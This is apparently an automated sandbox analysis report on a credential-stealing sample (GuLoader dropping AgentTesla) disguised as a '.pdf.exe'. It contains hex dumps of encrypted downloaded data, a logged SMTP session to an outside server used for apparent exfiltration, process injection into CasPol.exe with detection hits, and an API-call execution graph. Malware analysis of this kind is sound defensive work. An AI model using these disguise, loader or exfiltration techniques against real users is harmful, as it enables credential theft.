7c 1d 58 6c 9f 75 98 b0 4f 15 a2 e1 c7 0c 4c 2a a4 b1 42 20 40 8f 58 8d 4d 61 fd 40 06 bf 67 39 03 d3 d2 c7 42 46 40 ab ce 3e 8a 39 64 f9 e9 de 35 0a
                                                                                                              Data Ascii: aH%bwKw/4[Ck Q`*j5x&W>?LG{r;CeAjh#,bLi\7K8'1jixt"v6gcj9auSfDJH%t%xg<xrEIA_r:|XluOL*B @XMa@g9BF@>9d5
                                                                                                              2022-11-10 19:35:34 UTC211INData Raw: 92 1b df eb 88 26 c7 91 7a 18 86 f8 27 1e ec 29 66 5e 99 10 cb ae 5a 25 06 ed 0b 32 90 e8 63 77 81 f8 44 e1 d2 88 ce 52 65 a3 ad 1f fc 6c 6b c3 c7 19 c4 5f b0 58 5b d1 4c 19 8f c7 d8 39 78 15 04 a7 cb 90 82 06 a3 47 b2 0e 13 fb 14 90 fb 06 2d 2c e1 d8 2d 6f 5a 60 12 4f 00 1a 13 1e 90 95 f1 c6 32 5c c4 06 3c ba 9f 8f b7 a1 69 a2 f6 16 95 cf b4 6a 1a 92 39 8b f4 f8 13 fc c2 c9 5a d3 fd 7c 74 6f 9d a5 a2 9d 4f c4 b7 78 2c d1 c1 7a 03 7f a1 46 a1 c5 3e 65 0e ef 17 bd 81 1e c9 c5 33 a7 0c c2 db 30 ef 9c 3f b2 b6 a0 f8 74 e1 71 12 43 12 ba b7 c9 35 cd 7a 86 5c 87 0c 41 c2 b2 39 72 93 50 32 0c 2e 78 87 77 5d 01 00 c5 49 b3 cd b6 3a 6e a1 5d a8 aa 81 29 3d de e8 d7 8f 76 f6 93 18 0d ad 7b a5 2c 28 85 e4 16 3a 42 44 dc d8 95 ac bd 27 d8 8d 78 44 5e 7b 73 d7 99 a6
                                                                                                              Data Ascii: &z')f^Z%2cwDRelk_X[L9xG-,-oZ`O2\<ij9Z|toOx,zF>e30?tqC5z\A9rP2.xw]I:n])=v{,(:BD'xD^{s
                                                                                                              2022-11-10 19:35:34 UTC212INData Raw: 7e 8c cb 47 4e dc ca fd 30 4a 1a ce 67 6e 2a 16 c8 79 9a 5c 70 f9 3c 15 15 ca 64 75 49 69 50 18 e6 19 8a b1 27 29 2d 0e 38 64 99 75 9f ac 56 06 86 b0 c3 0d 45 33 ab 98 41 2e 50 8f 58 8c 43 6c fc 53 0f ab f6 ed 08 cd c9 a1 55 3e 10 ad c8 27 9c 44 67 d9 e9 c2 17 0c c0 21 89 14 81 1b 80 9b 84 ce 9d 4e d3 9c 27 b1 03 9a 13 bc 58 20 51 17 91 a1 77 8f 63 88 2a e3 3d 58 48 5e 28 5d 80 71 86 3e f7 2e 1f 15 4f 5a 96 0b b4 00 a3 ad 1b 04 55 85 b1 4b e7 09 af f2 0d 1c 97 9d b6 82 3f e9 6b 26 cb f3 cf ea 6e ab e9 29 09 dd 01 d7 a3 0c 84 34 cd ac 43 9c 7b 8b 45 84 41 14 d1 cc e6 a4 25 73 52 78 fb 55 fb ba 26 1f ae 34 c8 6a eb 58 d0 5e a7 25 82 c6 86 25 f1 e4 64 a3 56 54 cc 41 50 fd 96 25 23 d9 a9 e9 ce 0b b3 5e ef 22 7f 2a 7d 65 79 6a 92 da 04 06 8c 77 09 b7 e7 26 43
                                                                                                              Data Ascii: ~GN0Jgn*y\p<duIiP')-8duVE3A.PXClSU>'Dg!N'X Qwc*=XH^(]q>.OZUK?k&n)4C{EA%sRxU&4jX^%%dVTAP%#^"*}eyjw&C
                                                                                                              2022-11-10 19:35:34 UTC213INData Raw: 9a 3b b2 b7 8d f8 74 71 66 b3 f3 09 2a 63 d6 b3 7d 63 16 80 9d 85 68 c1 52 f0 68 1a 78 03 8b ea 61 0e ba 44 88 cd d1 e8 77 cd 56 f6 78 27 9b a4 2e 59 3d b4 1c d9 57 57 62 65 da 8d 87 63 77 8c 25 32 0d 20 1a 13 4a 5d 5b 1d 92 86 a2 23 d8 80 7c 43 5d 9b d0 db b9 a5 d0 97 14 7f 59 73 78 c2 86 d9 30 da aa ca 66 df fb ae 6d ee 2d af aa a4 09 a9 8b c8 ca 25 4e 4e ae c0 53 1d 2f 0f 43 60 1f 31 cb 17 d9 17 f2 35 58 72 47 94 a1 47 48 23 b5 51 95 fe 9d c3 08 e5 af 4f 87 d3 cb 7f d4 09 25 8c 5a 4c ce c5 8d 13 6d 86 f4 25 d6 f2 a6 52 65 9a af 2b 74 00 3a f1 cc 92 7e 34 7f aa a0 a8 07 c0 55 81 f0 1c c7 d2 8a 29 b2 31 d7 4c e3 b6 87 40 06 f3 9c 17 1e f7 71 ca ac 95 96 c5 34 8e a2 dd 51 f5 e7 c7 28 0e d9 8f 9f ac 95 94 3d ca f9 60 ac 11 4f ae 95 47 e0 e5 2f 30 9d 32 86
                                                                                                              Data Ascii: ;tqf*c}chRhxaDwVx'.Y=WWbecw%2 J][#|C]Ysx0fm-%NNS/C`15XrGGH#QO%ZLm%Re+t:~4U)1L@q4Q(=`OG/02
                                                                                                              2022-11-10 19:35:34 UTC215INData Raw: c7 fe ae cf c8 51 db a7 02 8d 3b d1 c4 43 89 fb 8c 5c 8c 5b 91 21 c4 e1 34 33 62 5b 6a 6a 30 f3 9c 35 6e bf 26 4a 67 f2 4d 53 53 a4 1d 88 df 8c a1 8c f7 e4 ec 2b 55 eb 42 43 6e 49 b0 39 c2 b8 62 d5 73 bd 79 ce 21 6c b9 65 e1 df 63 a0 59 c6 8c 06 65 67 a4 79 a5 dc 7a 79 36 49 b3 6e a4 87 72 b7 57 d5 81 16 f0 2a 83 22 79 ab 2b 98 77 c6 b5 51 56 aa b0 af be dc c4 1f 32 d5 bb 95 3d fc ce ef b9 fc b0 68 7f f0 77 8b 4a 90 a7 cc f3 93 2b 5a 4b 6f 7f 99 69 fb 12 f6 24 f4 8b 93 0b c6 33 b0 3c 14 d8 16 b0 96 ef 63 75 1d e0 54 d4 d5 08 c9 50 78 a6 23 15 f2 6b 6e 4d cd 0e 44 ea 21 18 52 e1 59 8d 9d d4 d4 39 7e 15 04 a1 d0 18 b6 12 ae 5c 3d 47 0f 72 58 97 ef 0d 2b 37 6e ed 31 e0 1b 7a 00 cd bd 15 96 a3 90 f4 f8 d5 af b8 d7 33 2e 31 b7 ae a5 32 f4 2e 72 26 b3 da 2c 83
                                                                                                              Data Ascii: Q;C\[!43b[jj05n&JgMSS+UBCnI9bsy!lecYegyzy6InrW*"y+wQV2=hwJ+ZKoi$3<cuTPx#knMD!RY9~\=GrX+7n1z3.12.r&,
                                                                                                              2022-11-10 19:35:34 UTC216INData Raw: 11 49 84 e9 20 db fc ab 3c 60 fa ac 4a 74 2d 32 c0 cf a8 66 30 f9 9d b5 a8 1a c4 4b 80 fd 11 da cc 9e 3c a6 3a df 40 fd b3 86 41 0b e3 94 10 28 fa 50 c3 b8 90 90 dc 2b 9e ac 41 6d e0 fd da 36 1b dd 82 8b b5 90 9d 31 c4 e6 e3 ca 1c 46 a7 9a c1 93 63 11 3a 89 2f 95 b5 cc 53 1f 6b 48 15 92 ff 69 cc a9 d5 f8 44 0e 70 9f a8 93 07 43 a4 09 63 fd 45 30 56 48 b2 44 29 0c 61 18 47 0a 51 ad 42 1c e6 e7 df b0 36 fe ac 91 50 07 8a c4 67 4c df 29 85 02 c9 66 cd 84 16 07 16 d8 fa dd 04 5d f9 2c 75 04 82 6b 78 45 67 50 cd ee 0f 39 a3 73 38 7d 1a 49 ed 8b 71 dd b0 4e 14 b7 b4 c1 0c 4d 2f ad bc 42 26 5c 97 50 84 44 6c fb 4b 01 b9 72 a8 0a cb c0 a6 53 20 48 af ca 3e 68 54 67 da ef d5 36 0f c6 32 8f 9f 94 09 01 b7 a7 de 8f df 5f 9e a7 cd 31 1b 83 b3 5e 13 51 05 81 2a fd 8a
                                                                                                              Data Ascii: I <`Jt-2f0K<:@A(P+Am61Fc:/SkHiDpCcE0VHD)aGQB6PgL)f],ukxEgP9s8}IqNM/B&\PDlKrS H>hTg62_1^Q*
                                                                                                              2022-11-10 19:35:34 UTC217INData Raw: 8f e0 7e 76 80 ea 50 f4 d4 9a 4c 56 76 a2 83 11 eb 65 72 ca c7 19 c5 f6 b3 b8 49 f3 43 11 8f d4 cf b6 4f 1a 80 90 d1 03 3f ae bb 56 3d 41 0f 7f 71 9e f4 80 ae 38 40 e6 23 e0 1d 60 05 cf b5 1a 12 b7 b9 f3 e3 c1 a0 3c ea 27 2e 31 86 a1 ab a6 fa be de 37 87 5c 28 97 00 80 bb f9 e8 64 ba f3 cc c3 5a cf 60 7c 7a e3 28 b1 22 ef 53 59 07 7e 2c cd 4e f9 8b 64 b6 c8 1a dc 57 7e 20 e6 00 1f a4 02 1f 67 2f b5 1d 4e 98 3a df 89 aa bc 39 07 e4 e0 5e e2 be f3 12 ba 1e ce a6 f5 46 06 f3 14 91 72 51 97 f6 7d 1c 7f 2d 9f 6a 75 08 bc 42 88 cb da d5 73 ce b6 e3 6d a1 84 ac 3a c7 55 be 15 ec 44 c8 2a 75 54 07 84 71 6f 06 41 38 0a 3b 92 06 57 44 de 88 92 82 ad a7 cc 81 7c 43 41 f4 d3 c7 8b 24 9c 88 1f 65 ca ef f1 d3 93 59 77 d0 ac d8 71 53 b8 a4 7e e3 28 bf 98 25 6e a8 86 d8
                                                                                                              Data Ascii: ~vPLVverICO?V=Aq8@#`<'.17\(dZ`|z("SY~,NdW~ g/N:9^FrQ}-juBsm:UD*uTqoA8;WD|CA$eYwqS~(%n
                                                                                                              2022-11-10 19:35:34 UTC218INData Raw: 42 68 61 4e e3 05 cb ae 62 bb c4 15 5f 6b 91 7b 9e b8 40 1c bb 85 c4 03 58 39 2c 95 43 34 d9 8b 4e 91 56 e9 d9 4a 13 38 6a 4d 18 4a ed a3 5d 21 5a 2f 7b 23 96 5a 69 cb 68 da 25 8d 64 2f 85 89 8f 0e 91 16 95 cc 81 eb 59 8a ab d1 03 99 af a1 4c 81 4c 03 91 a2 d7 88 51 08 37 e0 3e 89 4a 6c ac 53 17 ed 0d 4b ed 32 88 96 d1 11 b4 04 b2 5b 26 3b 0d 10 c6 c4 ba 58 66 10 df 9a e8 64 db 8f 37 9b 25 f9 f8 4f d1 76 ca e4 6e 46 e9 3c 88 9e 7f c3 bb 02 97 b4 c3 dd 40 86 7d 8b 4a 0a fc 03 71 79 fc 3b a2 f6 5f 70 f4 37 f0 a1 3a 72 b6 29 d5 6f f1 42 c2 db a8 20 84 80 99 12 c4 f7 e4 9c 27 40 6d 5c 44 fd 95 95 24 cc 2b fd ce fa be 57 dd a2 7b 22 70 fb c4 7d bc d7 04 b1 09 7d 6b ad 7d a6 dd 26 77 29 47 b9 e6 68 89 ee 7f 5d 47 93 7d 68 a9 12 db b1 bb 30 1b 0c d6 25 85 19 3b
                                                                                                              Data Ascii: BhaNb_k{@X9,C4NVJ8jMJ]!Z/{#Zih%d/YLLQ7>JlSK2[&;Xfd7%OvnF<@}Jqy;_p7:r)oB '@m\D$+W{"p}}k}&w)Gh]G}h0%;
                                                                                                              2022-11-10 19:35:34 UTC219INData Raw: 7f 2b 9f ec 60 1a bc 51 85 d8 d1 d4 64 5f 76 e3 6d a0 2d a4 37 c4 b8 97 1b d4 56 7a 67 46 5a 3b 8c 57 7e b1 2c 0f 04 1f 13 2d 42 6d 5d 24 90 cd bf 64 d0 c6 7c 06 4c bf da 94 99 e1 d1 c2 11 3e 4b b9 fc 8d 81 97 3a 9f a2 83 63 9e f5 f6 70 bc 25 f8 8a f5 07 fe 88 98 ea 72 40 04 ad 96 54 4e 2d 47 c1 f4 16 59 c1 68 de 79 f8 5a 5b 34 47 fa a2 0f 48 4d b7 3d 92 91 9b be 88 08 ad 21 87 be c3 0f d7 7e 34 9f 5e 37 ce b1 8d 62 69 f0 f4 52 d3 8a a7 36 60 e8 ac 3b 73 14 2f f4 c1 92 6e 3b fb 9d a0 a5 04 c9 5f 94 ff 1e c1 cd 86 28 a6 3d df 40 e9 a1 9d 43 01 eb 9b 09 3a e2 75 ca b8 90 9a d1 30 9c b7 5a 75 f8 fc c2 22 0e c9 97 90 af 91 88 30 cc fa 68 8b 1e 52 a9 86 5f fa 79 1e 25 9c 37 8f 28 71 51 37 60 48 18 87 e7 7c c1 bc c2 7d f6 07 69 15 e0 96 22 45 a7 09 65 e2 cd 62
                                                                                                              Data Ascii: +`Qd_vm-7VzgFZ;W~,-Bm]$d|L>K:cp%r@TN-GYhyZ[4GHM=!~4^7biR6`;s/n;_(=@C:u0Zu"0hR_y%7(qQ7`H|}i"Eeb
                                                                                                              2022-11-10 19:35:34 UTC221INData Raw: 65 ec 24 fd a1 31 72 af 26 48 7a e1 db d5 48 2d 88 84 de 9b 3d d4 f8 60 ac 23 4f e9 5d 54 f2 11 ef 22 f8 b7 e4 c1 7e a6 5c d3 31 fe c2 71 e2 c5 64 ae cb 97 f8 13 e4 19 b7 e4 b7 43 6f 77 2d 53 bd f2 66 15 47 75 c5 ad 02 85 e0 a7 83 23 a9 be 27 8a f4 c7 b5 51 0b b6 2c f7 ad c9 41 b6 3d 4b af 9b a2 e9 c1 71 59 f2 2f 7d 65 f2 63 87 d9 23 af d7 e6 17 67 d8 9d 65 75 9d f8 a6 27 f1 20 65 e9 ca 0f d9 bd 6e 3f 0d cd 04 b1 bf ef 71 f4 81 f1 44 55 f8 89 df d2 64 a8 ad 1f f8 79 ee 35 db 89 65 e4 b3 bb 78 f5 45 02 93 5b dd 2a 73 15 04 a7 cb 90 a3 06 a3 47 b2 4f 1c 7f 59 83 e8 0b 2b 38 40 e4 2d 6c 36 74 0d cf b7 1d 81 2a ac f5 e9 55 ae a0 c9 28 00 b7 83 ba a5 32 c5 3e e1 b7 89 c8 26 0a 31 93 28 04 e6 ea 01 f5 cc c3 46 5d 19 72 e9 1f 8f 23 16 9b 4f d7 a0 f7 22 de 45 f6
                                                                                                              Data Ascii: e$1r&HzH-=`#O]T"~\1qdCow-SfGu#'Q,A=KqY/}ec#geu' en?qDUdy5exE[*sGOY+8@-l6t*U(2>&1(F]r#O"E
                                                                                                              2022-11-10 19:35:34 UTC222INData Raw: da f5 70 c7 bc 83 45 bb 56 d7 29 e1 c3 9a 2c 0f e3 95 26 34 9a 70 f7 a5 a1 92 fe 2c a5 b0 39 68 cc e1 ea 2a 62 c1 a6 97 9e 95 a0 35 ef f4 54 ab 29 46 c3 88 24 f2 49 16 5a 94 13 87 07 79 3f 3f 45 55 27 8f 9e 74 aa b4 e0 fd 7b 0f 02 1d cc 9e 17 45 c6 07 59 ec f7 65 24 29 8d 25 46 0a 1e 1a 33 88 04 a5 44 3c d3 e6 c6 32 62 fb fb 93 33 66 ed c0 23 4c bb 48 e3 22 bc 67 8a e5 76 2f 64 c9 0b 88 69 75 96 3d 7a 07 aa 6b 43 41 4f 41 7d fe 25 d6 91 73 16 79 2d 58 6c 9f 4d 9d b8 4e 15 b3 f5 c3 7f 4d 58 ad dd 42 4b 58 f5 40 e8 44 11 f4 6b 01 ef 76 3d 0a b9 c0 d1 53 46 48 c0 ce 50 98 54 67 e8 e9 e8 37 3d c0 0f 8d a5 81 35 80 a6 a4 cd 8f cc 5e 8d a5 2b aa a7 be 9f 26 6d 3c 36 f5 46 88 fa 2a e6 45 cf 9d 1c 6a 4e 0f 6f 67 92 ed 49 8b 55 f3 e3 6e 7e e3 5e fa 3f 19 02 38 71
                                                                                                              Data Ascii: pEV),&4p,9h*b5T)F$IZy??EU't{EYe$)%F3D<2b3f#LH"gv/diu=zkCAOA}%sy-XlMNMXBKX@Dkv=SFHPTg7=5^+&m<6F*EjNogIUn~^?8q
                                                                                                              2022-11-10 19:35:34 UTC223INData Raw: 4b 0c 81 da dd 37 76 08 01 a9 d9 11 bf 1b a6 55 33 4f 01 7a 51 9e e6 03 23 3e 60 e5 3f ee 13 7c 00 cf b5 08 93 ab 81 f4 fb d4 b2 bd c7 26 3c b0 9a af b7 b3 e8 3f f3 36 95 dd 34 8b 1c 92 3a 85 fa e4 0f fb c2 cd 54 dd e1 60 68 63 9d a3 a3 93 41 d9 b2 76 22 c3 40 eb 0a 78 a4 48 af d4 5f 78 00 e7 12 9d 81 0c 48 60 36 a0 0f cc d5 38 d1 9b 2b a0 37 09 ea f5 4c 63 93 f2 00 3b 02 db b4 74 6b 07 e1 95 8d 60 d0 33 f8 60 12 71 23 8d eb 69 06 b2
                                                                                                              Data Ascii: K7vU3OzQ#>`?|&<?64:T`hcAv"@xH_xH`68+7Lc;tk`3`q#i


                                                                                                              TimestampSource PortDest PortSource IPDest IPCommands
                                                                                                              Nov 10, 2022 20:35:47.179186106 CET58749803185.111.247.38192.168.11.20220-umay.muvhost.com ESMTP Exim 4.95 #2 Thu, 10 Nov 2022 22:35:44 +0300
                                                                                                              220-We do not authorize the use of this system to transport unsolicited,
                                                                                                              220 and/or bulk e-mail.
                                                                                                              Nov 10, 2022 20:35:47.179635048 CET49803587192.168.11.20185.111.247.38EHLO 468325
                                                                                                              Nov 10, 2022 20:35:47.233654976 CET58749803185.111.247.38192.168.11.20250-umay.muvhost.com Hello 468325 [102.129.143.37]
                                                                                                              250-SIZE 52428800
                                                                                                              250-8BITMIME
                                                                                                              250-PIPELINING
                                                                                                              250-PIPE_CONNECT
                                                                                                              250-STARTTLS
                                                                                                              250 HELP
                                                                                                              Nov 10, 2022 20:35:47.234146118 CET49803587192.168.11.20185.111.247.38STARTTLS
                                                                                                              Nov 10, 2022 20:35:47.289649010 CET58749803185.111.247.38192.168.11.20220 TLS go ahead

                                                                                                              Click to jump to process

                                                                                                              Click to jump to process

                                                                                                              Click to dive into process behavior distribution

                                                                                                              Click to jump to process

                                                                                                              Target ID:2
                                                                                                              Start time:20:34:24
                                                                                                              Start date:10/11/2022
                                                                                                              Path:C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe
                                                                                                              Wow64 process (32bit):true
                                                                                                              Commandline:C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe
                                                                                                              Imagebase:0x400000
                                                                                                              File size:588784 bytes
                                                                                                              MD5 hash:4EE5255998226B831376E7B4EB562A48
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Yara matches:
                                                                                                              • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                              Reputation:low

                                                                                                              Target ID:4
                                                                                                              Start time:20:35:09
                                                                                                              Start date:10/11/2022
                                                                                                              Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                              Wow64 process (32bit):false
                                                                                                              Commandline:C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe
                                                                                                              Imagebase:0x200000
                                                                                                              File size:108664 bytes
                                                                                                              MD5 hash:914F728C04D3EDDD5FBA59420E74E56B
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:high

                                                                                                              Target ID:5
                                                                                                              Start time:20:35:10
                                                                                                              Start date:10/11/2022
                                                                                                              Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                              Wow64 process (32bit):true
                                                                                                              Commandline:C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe
                                                                                                              Imagebase:0x800000
                                                                                                              File size:108664 bytes
                                                                                                              MD5 hash:914F728C04D3EDDD5FBA59420E74E56B
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:.Net C# or VB.NET
                                                                                                              Yara matches:
                                                                                                              • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000005.00000000.1271980105.0000000000C00000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                              • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.5881882931.000000001D3A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                              • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.5881882931.000000001D3A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                              Reputation:high

                                                                                                              Target ID:6
                                                                                                              Start time:20:35:10
                                                                                                              Start date:10/11/2022
                                                                                                              Path:C:\Windows\System32\conhost.exe
                                                                                                              Wow64 process (32bit):false
                                                                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              Imagebase:0x7ff69cfb0000
                                                                                                              File size:875008 bytes
                                                                                                              MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                              Has elevated privileges:true
                                                                                                              Has administrator privileges:true
                                                                                                              Programmed in:C, C++ or other language
                                                                                                              Reputation:high

                                                                                                              Reset < >

                                                                                                                Execution Graph

                                                                                                                Execution Coverage:1.8%
                                                                                                                Dynamic/Decrypted Code Coverage:4.4%
                                                                                                                Signature Coverage:18.9%
                                                                                                                Total number of Nodes:864
                                                                                                                Total number of Limit Nodes:44
                                                                                                                execution_graph 24829 401941 24830 401943 24829->24830 24835 402da6 24830->24835 24836 402db2 24835->24836 24881 40657a 24836->24881 24839 401948 24841 405c49 24839->24841 24923 405f14 24841->24923 24844 405c71 DeleteFileW 24846 401951 24844->24846 24845 405c88 24847 405db3 24845->24847 24937 40653d lstrcpynW 24845->24937 24847->24846 24956 406873 FindFirstFileW 24847->24956 24849 405cae 24850 405cc1 24849->24850 24851 405cb4 lstrcatW 24849->24851 24938 405e58 lstrlenW 24850->24938 24852 405cc7 24851->24852 24856 405cd7 lstrcatW 24852->24856 24857 405ccd 24852->24857 24859 405ce2 lstrlenW FindFirstFileW 24856->24859 24857->24856 24857->24859 24858 405dd1 24959 405e0c lstrlenW CharPrevW 24858->24959 24860 405da8 24859->24860 24874 405d04 24859->24874 24860->24847 24863 405d8b FindNextFileW 24867 405da1 FindClose 24863->24867 24863->24874 24866 405de3 24868 405de7 24866->24868 24869 405dfd 24866->24869 24867->24860 24868->24846 24872 40559f 24 API calls 24868->24872 24871 40559f 24 API calls 24869->24871 24871->24846 24875 405df4 24872->24875 24873 405c49 60 API calls 24873->24874 24874->24863 24874->24873 24876 40559f 24 API calls 24874->24876 24942 40653d lstrcpynW 24874->24942 24943 405c01 RemoveDirectoryW DeleteFileW SetFileAttributesW GetFileAttributesW SetFileAttributesW 24874->24943 24944 40559f 24874->24944 24955 4062fd 36 API calls 24874->24955 24963 4062fd 36 API calls 24875->24963 24876->24863 24879 405dfb 24879->24846 24886 406587 24881->24886 24882 4067aa 24883 402dd3 24882->24883 24914 40653d lstrcpynW 24882->24914 24883->24839 24898 4067c4 24883->24898 24885 406778 lstrlenW 24885->24886 24886->24882 24886->24885 24888 40657a 10 API calls 24886->24888 24889 40668f GetSystemDirectoryW 24886->24889 24892 4066a2 GetWindowsDirectoryW 24886->24892 24893 406719 lstrcatW 24886->24893 24894 40657a 10 API calls 24886->24894 24895 4067c4 5 API calls 24886->24895 24896 4066d1 SHGetSpecialFolderLocation 24886->24896 24907 40640b 24886->24907 24912 406484 wsprintfW 24886->24912 24913 40653d lstrcpynW 24886->24913 24888->24885 24889->24886 24892->24886 24893->24886 24894->24886 24895->24886 24896->24886 24897 4066e9 SHGetPathFromIDListW CoTaskMemFree 24896->24897 24897->24886 24904 4067d1 24898->24904 24899 406847 24900 40684c CharPrevW 24899->24900 24902 40686d 24899->24902 24900->24899 24901 40683a CharNextW 24901->24899 24901->24904 24902->24839 24904->24899 24904->24901 24905 406826 CharNextW 24904->24905 24906 406835 CharNextW 24904->24906 24919 405e39 24904->24919 24905->24904 24906->24901 24915 4063aa 24907->24915 24910 40646f 24910->24886 24911 40643f RegQueryValueExW RegCloseKey 24911->24910 24912->24886 24913->24886 24914->24883 24916 4063b9 24915->24916 24917 4063c2 RegOpenKeyExW 24916->24917 24918 4063bd 24916->24918 24917->24918 24918->24910 24918->24911 24920 405e3f 24919->24920 24921 405e55 24920->24921 24922 405e46 CharNextW 24920->24922 24921->24904 24922->24920 24964 40653d lstrcpynW 24923->24964 24925 405f25 24965 405eb7 CharNextW CharNextW 24925->24965 24928 405c69 24928->24844 24928->24845 24929 4067c4 5 API calls 24934 405f3b 24929->24934 24930 405f6c lstrlenW 24931 405f77 24930->24931 24930->24934 24933 405e0c 3 API calls 24931->24933 24932 406873 2 API calls 24932->24934 24935 405f7c GetFileAttributesW 24933->24935 24934->24928 24934->24930 24934->24932 24936 405e58 2 API calls 24934->24936 24935->24928 24936->24930 24937->24849 24939 405e66 24938->24939 24940 405e78 24939->24940 24941 405e6c CharPrevW 24939->24941 24940->24852 24941->24939 24941->24940 24942->24874 24943->24874 24945 4055ba 24944->24945 24954 40565c 24944->24954 24946 4055d6 lstrlenW 24945->24946 24947 40657a 17 API calls 24945->24947 24948 4055e4 lstrlenW 24946->24948 24949 4055ff 24946->24949 24947->24946 24950 4055f6 lstrcatW 24948->24950 24948->24954 24951 405612 24949->24951 24952 405605 SetWindowTextW 24949->24952 24950->24949 24953 405618 SendMessageW SendMessageW SendMessageW 24951->24953 24951->24954 24952->24951 24953->24954 24954->24874 24955->24874 24957 405dcd 24956->24957 24958 406889 FindClose 24956->24958 24957->24846 24957->24858 24958->24957 24960 405dd7 24959->24960 24961 405e28 lstrcatW 24959->24961 24962 405c01 RemoveDirectoryW DeleteFileW SetFileAttributesW GetFileAttributesW SetFileAttributesW 24960->24962 24961->24960 24962->24866 24963->24879 24964->24925 24966 405ed4 24965->24966 24967 405ee6 24965->24967 24966->24967 24968 405ee1 CharNextW 24966->24968 24969 405e39 CharNextW 24967->24969 24970 405f0a 24967->24970 24968->24970 24969->24967 24970->24928 24970->24929 24971 4015c1 24972 402da6 17 API calls 24971->24972 24973 4015c8 24972->24973 24974 405eb7 4 API calls 24973->24974 24988 4015d1 24974->24988 24975 401631 24977 401663 24975->24977 24978 401636 24975->24978 24976 405e39 CharNextW 24976->24988 24981 401423 24 API calls 24977->24981 24998 401423 24978->24998 24987 40165b 24981->24987 24985 40164a SetCurrentDirectoryW 24985->24987 24986 401617 GetFileAttributesW 24986->24988 24988->24975 24988->24976 24988->24986 24990 405b08 24988->24990 24993 405a6e CreateDirectoryW 24988->24993 25002 405aeb CreateDirectoryW 24988->25002 25005 40690a GetModuleHandleA 24990->25005 24994 405abf GetLastError 24993->24994 24995 405abb 24993->24995 24994->24995 24996 405ace SetFileSecurityW 24994->24996 24995->24988 24996->24995 24997 405ae4 GetLastError 24996->24997 24997->24995 24999 40559f 24 API calls 24998->24999 25000 401431 24999->25000 25001 40653d lstrcpynW 25000->25001 25001->24985 25003 405afb 25002->25003 25004 405aff GetLastError 25002->25004 25003->24988 25004->25003 25006 406930 GetProcAddress 25005->25006 25007 406926 25005->25007 25009 405b0f 25006->25009 25011 40689a GetSystemDirectoryW 25007->25011 25009->24988 25010 40692c 25010->25006 25010->25009 25012 4068bc wsprintfW LoadLibraryExW 25011->25012 25012->25010 25014 404f06 GetDlgItem GetDlgItem 25015 404f58 7 API calls 25014->25015 25028 40517d 25014->25028 25016 404ff2 SendMessageW 25015->25016 25017 404fff DeleteObject 25015->25017 25016->25017 25018 405008 25017->25018 25020 405017 25018->25020 25021 40503f 25018->25021 25019 40525f 25025 40530b 25019->25025 25032 4054fe 25019->25032 25037 4052b8 SendMessageW 25019->25037 25023 40657a 17 API calls 25020->25023 25071 404499 25021->25071 25022 405240 25022->25019 25033 405251 SendMessageW 25022->25033 25030 405021 SendMessageW SendMessageW 25023->25030 25026 405315 SendMessageW 25025->25026 25027 40531d 25025->25027 25026->25027 25040 405336 25027->25040 25041 40532f ImageList_Destroy 25027->25041 25046 405346 25027->25046 25028->25019 25028->25022 25029 4051db 25028->25029 25076 404e54 SendMessageW GetMessagePos ScreenToClient SendMessageW SendMessageW 25029->25076 25030->25018 25031 405053 25036 404499 18 API calls 25031->25036 25079 404500 8 API calls 25032->25079 25033->25019 25049 405064 25036->25049 25037->25032 25038 4052cd SendMessageW 25037->25038 25043 4052e0 25038->25043 25039 40550c 25044 40533f GlobalFree 25040->25044 25040->25046 25041->25040 25042 4054c0 25042->25032 25047 4054d2 ShowWindow GetDlgItem ShowWindow 25042->25047 25054 4052f1 SendMessageW 25043->25054 25044->25046 25045 40513f GetWindowLongW SetWindowLongW 25048 405158 25045->25048 25046->25042 25064 405381 25046->25064 25077 404ed4 MulDiv SendMessageW wsprintfW lstrcpynW 25046->25077 25047->25032 25050 405175 25048->25050 25051 40515d ShowWindow 25048->25051 25049->25045 25053 4050b7 SendMessageW 25049->25053 25055 40513a 25049->25055 25058 4050f5 SendMessageW 25049->25058 25059 405109 SendMessageW 25049->25059 25075 4044ce SendMessageW 25050->25075 25074 4044ce SendMessageW 25051->25074 25052 4051ec 25052->25022 25053->25049 25054->25025 25055->25045 25055->25048 25058->25049 25059->25049 25061 405170 25061->25032 25062 40548b 25063 405496 InvalidateRect 25062->25063 25068 4054a2 25062->25068 25063->25068 25065 4053af SendMessageW 25064->25065 25066 4053c5 25064->25066 25065->25066 25066->25062 25067 405426 25066->25067 25070 405439 SendMessageW SendMessageW 25066->25070 25067->25070 25068->25042 25078 404e0f 20 API calls 25068->25078 25070->25066 25072 40657a 17 API calls 25071->25072 25073 4044a4 SetDlgItemTextW 25072->25073 25073->25031 25074->25061 25075->25028 25076->25052 25077->25064 25078->25042 25079->25039 25080 2bc8b76 25081 2bc8cc3 25080->25081 25082 2bc8e7e K32EnumDeviceDrivers 25081->25082 25083 2bc8fd9 25082->25083 25084 40248a 25085 402da6 17 API calls 25084->25085 25086 40249c 25085->25086 25087 402da6 17 API calls 25086->25087 25088 